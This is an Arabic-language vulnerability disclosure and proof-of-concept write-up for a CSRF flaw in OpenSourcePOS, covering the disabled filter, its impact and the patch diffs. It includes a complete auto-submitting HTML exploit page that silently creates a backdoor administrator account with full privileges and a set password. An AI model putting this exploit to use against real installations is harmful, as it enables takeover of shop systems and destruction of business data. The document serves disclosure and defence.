
PoC & Write-up لثغرة CVE-2025-68434: ثغرة CSRF حرجة في OpenSourcePOS. تستغل تهيئة فلتر معطّلة للسماح للمهاجمين غير المصادَق عليهم بإنشاء حسابات مسؤول مارقة بصمت، مما يؤدي إلى السيطرة الكاملة على النظام. تم التحقق منها على الإصدارات < 3.4.0.
| البيانات الوصفية | التفاصيل |
|---|
| معرف CVE | CVE-2025-68434 |
| الخطورة | حرجة (8.8) CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
| نوع الثغرة | تزوير الطلبات عبر المواقع (CWE-352) |
| الإصدارات المتأثرة | OpenSourcePOS v3.4.0, v3.4.1 |
| الإصدار المُصحَّح | v3.4.2 |
| المكوّن المعرَّض للخطر | app/Config/Filters.php (المرشحات الأمنية العامة) |
| المُبلّغ | Aditya Singh (Nixon-H) |
تم اكتشاف ثغرة حرجة من نوع تزوير الطلبات عبر المواقع (CSRF) في الإعداد الأمني الأساسي لتطبيق OpenSourcePOS. كانت آلية الحماية العامة من CSRF في التطبيق معطَّلة بشكل صريح داخل ملف app/Config/Filters.php بسبب "TODO" تطويرية مؤقتة لم يتم حسمها أبداً.
سمح هذا الإعداد الخاطئ للتطبيق بقبول طلبات HTTP التي تُغيّر الحالة (POST) دون التحقق من وجود رمز صالح لمكافحة التزوير. يمكن لمهاجم بعيد غير مصادَق استغلال ذلك عبر خداع مسؤول مسجّل الدخول لزيارة صفحة خبيثة. تقوم صفحة المهاجم بعد ذلك بإجبار متصفح الضحية بصمت على تنفيذ إجراءات إدارية؛ وتحديداً إنشاء حساب مسؤول "باب خلفي (Backdoor)" جديد بصلاحيات كاملة؛ مما يؤدي إلى الاستيلاء الكامل على النظام.
كانت الثغرة موجودة في إعداد المرشحات العامة (Global Filters) (app/Config/Filters.php). في CodeIgniter 4، تحدد المصفوفة $globals المرشحات التي تعمل على كل طلب.
في الإصدارات المتأثرة، كان مرشح csrf معلَّقاً (commented out) ضمن قائمة التنفيذ before، مما أدى فعلياً إلى تعطيل حماية CSRF للتطبيق بالكامل.
الكود المعرَّض للخطر (app/Config/Filters.php):
public array $globals = [
'before' => [
'honeypot',
// 'csrf' => ['except' => 'login'], // TODO: Temporarily disable CSRF until we get everything sorted
'invalidchars',
],
// ...
];
نظراً لتعليق هذا السطر، لم يتم تنفيذ الوسيط المسؤول عن فحص csrf_token_name إطلاقاً. كان التطبيق يقبل أي طلب POST من أي مصدر، معتمداً بشكل كامل على ملف تعريف ارتباط الجلسة (ospos_session) للمصادقة.
csrf_exploit.html على خادم خارجي.valid_12345) فوراً.POC/csrf_exploit.html)هذه هي الحمولة (payload) الدقيقة المستخدمة لإنشاء مسؤول مارق بصلاحيات كاملة:
<!DOCTYPE html>
<html>
<head>
<title>OSPOS CSRF Exploit (Verified)</title>
<style>
body { font-family: sans-serif; text-align: center; padding: 50px; }
.status { color: green; font-weight: bold; }
</style>
</head>
<body>
<h2>OSPOS Privilege Escalation Exploit</h2>
<p>Creating Administrator account...</p>
<p id="msg" class="status">Initializing payload...</p>
<form action="http://localhost/index.php/employees/save/-1" method="POST" id="hackForm">
<input type="hidden" name="first_name" value="Valid">
<input type="hidden" name="last_name" value="User">
<input type="hidden" name="username" id="username" value="">
<input type="hidden" name="email" id="email" value="">
<input type="hidden" name="phone_number" value="">
<input type="hidden" name="password" value="Password123!">
<input type="hidden" name="repeat_password" value="Password123!">
<input type="hidden" name="gender" value="1">
<input type="hidden" name="language" value=":">
<input type="hidden" name="address_1" value="">
<input type="hidden" name="address_2" value="">
<input type="hidden" name="city" value="">
<input type="hidden" name="state" value="">
<input type="hidden" name="zip" value="">
<input type="hidden" name="country" value="">
<input type="hidden" name="comments" value="CSRF_PoC_Successful">
<input type="hidden" name="grant_home" value="home"> <input type="hidden" name="menu_group_home" value="both">
<input type="hidden" name="grant_customers" value="customers"> <input type="hidden" name="menu_group_customers" value="both">
<input type="hidden" name="grant_items" value="items"> <input type="hidden" name="menu_group_items" value="both">
<input type="hidden" name="grant_item_kits" value="item_kits"> <input type="hidden" name="menu_group_item_kits" value="both">
<input type="hidden" name="grant_suppliers" value="suppliers"> <input type="hidden" name="menu_group_suppliers" value="both">
<input type="hidden" name="grant_reports" value="reports"> <input type="hidden" name="menu_group_reports" value="both">
<input type="hidden" name="grant_receivings" value="receivings"> <input type="hidden" name="menu_group_receivings" value="both">
<input type="hidden" name="grant_sales" value="sales"> <input type="hidden" name="menu_group_sales" value="both">
<input type="hidden" name="grant_employees" value="employees"> <input type="hidden" name="menu_group_employees" value="both">
<input type="hidden" name="grant_giftcards" value="giftcards"> <input type="hidden" name="menu_group_giftcards" value="both">
<input type="hidden" name="grant_messages" value="messages"> <input type="hidden" name="menu_group_messages" value="both">
<input type="hidden" name="grant_taxes" value="taxes"> <input type="hidden" name="menu_group_taxes" value="both">
<input type="hidden" name="grant_attributes" value="attributes"> <input type="hidden" name="menu_group_attributes" value="both">
<input type="hidden" name="grant_expenses" value="expenses"> <input type="hidden" name="menu_group_expenses" value="both">
<input type="hidden" name="grant_expenses_categories" value="expenses_categories"> <input type="hidden" name="menu_group_expenses_categories" value="both">
<input type="hidden" name="grant_cashups" value="cashups"> <input type="hidden" name="menu_group_cashups" value="both">
<input type="hidden" name="grant_config" value="config"> <input type="hidden" name="menu_group_config" value="home">
<input type="hidden" name="grant_office" value="office"> <input type="hidden" name="menu_group_office" value="both">
<input type="hidden" name="grant_items_stock" value="items_stock"> <input type="hidden" name="menu_group_items_stock" value="--">
<input type="hidden" name="grant_sales_stock" value="sales_stock"> <input type="hidden" name="menu_group_sales_stock" value="--">
<input type="hidden" name="grant_receivings_stock" value="receivings_stock"> <input type="hidden" name="menu_group_receivings_stock" value="--">
<input type="hidden" name="grant_sales_change_price" value="sales_change_price"> <input type="hidden" name="menu_group_sales_change_price" value="--">
<input type="hidden" name="grant_sales_delete" value="sales_delete"> <input type="hidden" name="menu_group_sales_delete" value="--">
<input type="hidden" name="grant_reports_categories" value="reports_categories"> <input type="hidden" name="menu_group_reports_categories" value="--">
<input type="hidden" name="grant_reports_customers" value="reports_customers"> <input type="hidden" name="menu_group_reports_customers" value="--">
<input type="hidden" name="grant_reports_discounts" value="reports_discounts"> <input type="hidden" name="menu_group_reports_discounts" value="--">
<input type="hidden" name="grant_reports_employees" value="reports_employees"> <input type="hidden" name="menu_group_reports_employees" value="--">
<input type="hidden" name="grant_reports_expenses_categories" value="reports_expenses_categories"> <input type="hidden" name="menu_group_reports_expenses_categories" value="--">
<input type="hidden" name="grant_reports_inventory" value="reports_inventory"> <input type="hidden" name="menu_group_reports_inventory" value="--">
<input type="hidden" name="grant_reports_items" value="reports_items"> <input type="hidden" name="menu_group_reports_items" value="--">
<input type="hidden" name="grant_reports_payments" value="reports_payments"> <input type="hidden" name="menu_group_reports_payments" value="--">
<input type="hidden" name="grant_reports_receivings" value="reports_receivings"> <input type="hidden" name="menu_group_reports_receivings" value="--">
<input type="hidden" name="grant_reports_sales" value="reports_sales"> <input type="hidden" name="menu_group_reports_sales" value="--">
<input type="hidden" name="grant_reports_sales_taxes" value="reports_sales_taxes"> <input type="hidden" name="menu_group_reports_sales_taxes" value="--">
<input type="hidden" name="grant_reports_suppliers" value="reports_suppliers"> <input type="hidden" name="menu_group_reports_suppliers" value="--">
<input type="hidden" name="grant_reports_taxes" value="reports_taxes"> <input type="hidden" name="menu_group_reports_taxes" value="--">
<input type="hidden" name="honeypot" value="">
<script>
// 1. Generate unique ID to ensure valid creation
var id = Math.floor(Math.random() * 99999);
var user = "valid_" + id;
// 2. Inject into form
document.getElementById('username').value = user;
document.getElementById('email').value = user + "@test.com";
document.getElementById('msg').innerText = "Attacking with user: " + user;
// 3. Auto-submit
setTimeout(function() {
document.getElementById('hackForm').submit();
}, 1000);
</script>
</form>
</body>
</html>
(الصور وملفات الاستغلال موجودة في مجلد POC/)
لقطة الشاشة 1: تنفيذ الاستغلال
لقطة الشاشة 2: الحساب المارق الذي تم إنشاؤه
🎥 عرض فيديو: انقر للمشاهدة / تنزيل فيديو إثبات المفهوم
الحساب المُنشأ ليس مجرد جلسة مؤقتة؛ بل هو إدخال دائم في قاعدة البيانات.
باستخدام صلاحية grant_config، يمكن للمهاجم تعديل إعدادات المتجر.
/items/delete)، مما يمسح قاعدة بيانات مخزون المنتجات بالكامل ويوقف عمليات العمل.تم إصلاح الثغرة في OpenSourcePOS v3.4.2. تطلّب الإصلاح تغييراً معمارياً متعدد الخطوات لمعالجة حالات السباق (race conditions) في واجهة المبيعات المعتمدة بشكل كبير على AJAX.
في app/Config/Filters.php، تمت إزالة التعليق عن مرشح CSRF العام.
'before' => [
'honeypot',
- // 'csrf' => ['except' => 'login'], // TODO: Temporarily disable CSRF until we get everything sorted
+ 'csrf' => ['except' => 'login'],
'invalidchars',
],
في app/Config/Security.php، انتقل المطورون من الرموز المعتمدة على ملفات تعريف الارتباط إلى الرموز المعتمدة على الجلسة، وعطّلوا إعادة توليد الرموز لمنع المشكلات المتعلقة بطلبات AJAX المتوازية (مثل وحدة المبيعات).
- public string $csrfProtection = 'cookie';
+ public string $csrfProtection = 'session';
- public bool $regenerate = true;
+ public bool $regenerate = false;
تم تحديث ملف app/Views/partial/header_js.php لحقن تجزئة الرمز (token hash) مباشرة من الخادم بدلاً من قراءتها من ملف تعريف ارتباط في جانب العميل، مما يحسّن الوضع الأمني.
- var csrf_token = function() {
- return Cookies.get(cookie_name);
- };
+ var csrf_token = function() {
+ return "<?= csrf_hash() ?>";
+ };
d575c8d) والتحقق منه من قبل الباحث.